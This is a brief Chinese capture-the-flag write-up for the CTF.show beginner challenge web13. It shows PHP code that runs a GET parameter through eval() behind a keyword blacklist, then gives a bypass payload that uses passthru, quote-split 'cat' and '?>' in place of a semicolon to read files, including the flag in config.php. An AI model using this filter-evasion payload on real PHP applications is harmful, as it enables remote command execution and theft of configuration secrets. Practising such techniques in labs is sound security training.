CTF.show：萌新：web13

<?php
# flag in config.php
include("config.php");
if(isset($_GET['c'])){
        $c = $_GET['c'];
        if(!preg_match("/system|exec|highlight|cat|\.|\;|file|php|config/i",$c)){
                eval($c);
        }else{
            die("cmd error");
        }
}else{
        highlight_file(__FILE__);
}
?>

这次过滤了更多的东西了，我们可以构造?>来代替;直接进行闭合语句

c=passthru("ca''t `ls`")?>